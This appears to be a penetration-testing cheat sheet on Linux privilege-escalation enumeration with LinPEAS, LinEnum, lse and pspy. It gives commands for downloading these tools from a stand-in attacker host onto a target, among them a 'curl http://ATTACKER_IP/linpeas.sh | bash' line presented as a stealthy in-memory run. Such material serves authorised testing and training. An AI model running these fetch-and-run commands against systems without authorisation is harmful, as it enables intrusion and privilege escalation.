> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# LinPEAS / LinEnum

> Automated Linux privilege escalation enumeration with LinPEAS, LinEnum, and linux-smart-enumeration.

## LinPEAS

Most comprehensive Linux enumeration tool.

### Download

```bash theme={"dark"}
https://github.com/peass-ng/PEASS-ng/releases

# Direct download
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
```

### Transfer to Target

```bash theme={"dark"}
# Attacker
python3 -m http.server 80

# Target
wget http://ATTACKER_IP/linpeas.sh
curl http://ATTACKER_IP/linpeas.sh -o linpeas.sh
```

### Run

```bash theme={"dark"}
chmod +x linpeas.sh
./linpeas.sh
```

### Run in Memory (No File on Disk)

```bash theme={"dark"}
curl http://ATTACKER_IP/linpeas.sh | bash
```

### Save Output

```bash theme={"dark"}
./linpeas.sh | tee linpeas_output.txt
```

### Specific Checks Only

```bash theme={"dark"}
./linpeas.sh -s        # Superfast (only critical checks)
./linpeas.sh -a        # All checks (slower)
./linpeas.sh -e        # Extra enumeration (checks skipped by default; takes no path)
./linpeas.sh | tee linpeas.txt   # Save output to a file
```

### Color Legend

| Color         | Meaning                      |
| ------------- | ---------------------------- |
| 🔴 Red/Yellow | 99% chance of privesc vector |
| 🔴 Red        | Must check immediately       |
| 🟡 Yellow     | High probability             |
| 🟢 Green      | Useful information           |
| 🔵 Blue       | Informational                |

***

## LinEnum

Lighter alternative to LinPEAS.

### Download

```bash theme={"dark"}
https://github.com/rebootuser/LinEnum

wget http://ATTACKER_IP/LinEnum.sh
```

### Run

```bash theme={"dark"}
chmod +x LinEnum.sh
./LinEnum.sh
```

### Thorough Mode

```bash theme={"dark"}
./LinEnum.sh -t
```

### Export Report

```bash theme={"dark"}
./LinEnum.sh -r report -e /tmp -t
```

***

## linux-smart-enumeration (lse)

Progressive verbosity — starts minimal, increases detail.

### Download

```bash theme={"dark"}
https://github.com/diego-treitos/linux-smart-enumeration

wget http://ATTACKER_IP/lse.sh
```

### Run

```bash theme={"dark"}
chmod +x lse.sh

# Level 0 — Only important findings
./lse.sh

# Level 1 — Interesting info
./lse.sh -l 1

# Level 2 — Everything
./lse.sh -l 2
```

***

## pspy — Process Monitor

Not an enumeration tool, but critical for finding cron jobs and hidden processes.

### Download

```bash theme={"dark"}
https://github.com/DominicBreuker/pspy/releases

# 64-bit
wget http://ATTACKER_IP/pspy64
# 32-bit
wget http://ATTACKER_IP/pspy32
```

### Run

```bash theme={"dark"}
chmod +x pspy64
./pspy64
```

Watch for UID=0 processes — those run as root.

***

## Quick Decision

| Scenario                           | Tool                          |
| ---------------------------------- | ----------------------------- |
| Full enumeration, have time        | LinPEAS (`-a`)                |
| Quick check, limited time          | LinPEAS (`-s`) or lse level 0 |
| Need to find hidden cron/processes | pspy                          |
| Lighter alternative                | LinEnum                       |
| Stealth (no file on disk)          | `curl ... \| bash`            |